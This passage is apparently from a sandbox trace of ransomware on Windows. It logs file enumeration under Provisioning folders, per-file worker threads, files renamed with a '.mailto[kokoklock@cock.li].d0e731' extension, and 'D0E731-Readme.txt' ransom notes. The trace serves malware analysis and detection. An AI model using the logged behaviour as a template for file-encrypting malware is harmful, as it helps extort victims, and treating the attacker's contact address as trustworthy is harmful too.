Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.348] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.348] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d2c8) returned 1 [0176.348] RtlExitUserThread (Status=0x0) Thread: id = 2486 os_tid = 0xd70 [0176.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7860 [0176.349] wcscpy (in: _Dest=0x2fa7860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0176.349] wcscat (in: _Dest=0x2fa7860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" [0176.349] wcscat (in: _Dest=0x2fa7860, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*" [0176.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0176.349] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c731523, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80820 [0176.349] wcscmp (_String1=".", _String2=".") returned 0 [0176.349] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c731523, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.349] wcscmp (_String1="..", _String2=".") returned 1 [0176.349] wcscmp (_String1="..", _String2="..") returned 0 [0176.349] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0__POW~1.D0E")) returned 1 [0176.349] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.349] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1c68 [0176.350] wcscpy (in: _Dest=0x2fe1c68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime" [0176.350] wcscat (in: _Dest=0x2fe1c68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" [0176.350] wcscat (in: _Dest=0x2fe1c68, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0176.699] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c731523, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c731523, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.699] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.699] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.699] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c731523, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c731523, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c731523, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.699] FindClose (in: hFindFile=0x2f80820 | out: hFindFile=0x2f80820) returned 1 [0176.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0176.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7860) returned 1 [0176.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b5e8) returned 1 [0176.699] RtlExitUserThread (Status=0x0) Thread: id = 2487 os_tid = 0x818 [0176.350] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.350] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.350] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d3e0) returned 1 [0176.351] RtlExitUserThread (Status=0x0) Thread: id = 2488 os_tid = 0x9cc [0176.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7928 [0176.352] wcscpy (in: _Dest=0x2fa7928, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0176.352] wcscat (in: _Dest=0x2fa7928, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" [0176.352] wcscat (in: _Dest=0x2fa7928, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*" [0176.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0176.352] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c77d9d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80860 [0176.352] wcscmp (_String1=".", _String2=".") returned 0 [0176.352] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c77d9d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.352] wcscmp (_String1="..", _String2=".") returned 1 [0176.352] wcscmp (_String1="..", _String2="..") returned 0 [0176.352] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x723, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.352] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.352] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f8d3b0 [0176.352] wcscpy (in: _Dest=0x2f8d3b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime" [0176.352] wcscat (in: _Dest=0x2f8d3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" [0176.352] wcscat (in: _Dest=0x2f8d3b0, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0176.697] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c77d9d6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c77d9d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.697] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.697] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.697] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c77d9d6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c77d9d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c77d9d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.697] FindClose (in: hFindFile=0x2f80860 | out: hFindFile=0x2f80860) returned 1 [0176.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0176.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7928) returned 1 [0176.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b458) returned 1 [0176.698] RtlExitUserThread (Status=0x0) Thread: id = 2489 os_tid = 0x440 [0176.353] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d610) returned 1 [0176.354] RtlExitUserThread (Status=0x0) Thread: id = 2490 os_tid = 0xd90 [0176.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6730 [0176.355] wcscpy (in: _Dest=0x2fa6730, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0176.355] wcscat (in: _Dest=0x2fa6730, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" [0176.355] wcscat (in: _Dest=0x2fa6730, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*" [0176.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022988 [0176.355] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\*", lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7a3beb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808a0 [0176.355] wcscmp (_String1=".", _String2=".") returned 0 [0176.355] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7a3beb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.355] wcscmp (_String1="..", _String2=".") returned 1 [0176.355] wcscmp (_String1="..", _String2="..") returned 0 [0176.355] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f7b887, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f7b887, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.355] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.355] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f8d508 [0176.355] wcscpy (in: _Dest=0x2f8d508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0176.355] wcscat (in: _Dest=0x2f8d508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" [0176.355] wcscat (in: _Dest=0x2f8d508, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0176.695] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7a3beb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c7a3beb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.695] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.695] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.696] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3022988 | out: lpFindFileData=0x3022988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7a3beb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c7a3beb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.696] FindClose (in: hFindFile=0x2f808a0 | out: hFindFile=0x2f808a0) returned 1 [0176.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022988) returned 1 [0176.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6730) returned 1 [0176.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b390) returned 1 [0176.696] RtlExitUserThread (Status=0x0) Thread: id = 2491 os_tid = 0xcbc [0176.356] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.356] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.356] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.356] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d840) returned 1 [0176.356] RtlExitUserThread (Status=0x0) Thread: id = 2492 os_tid = 0x9dc [0176.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6d70 [0176.358] wcscpy (in: _Dest=0x2fa6d70, 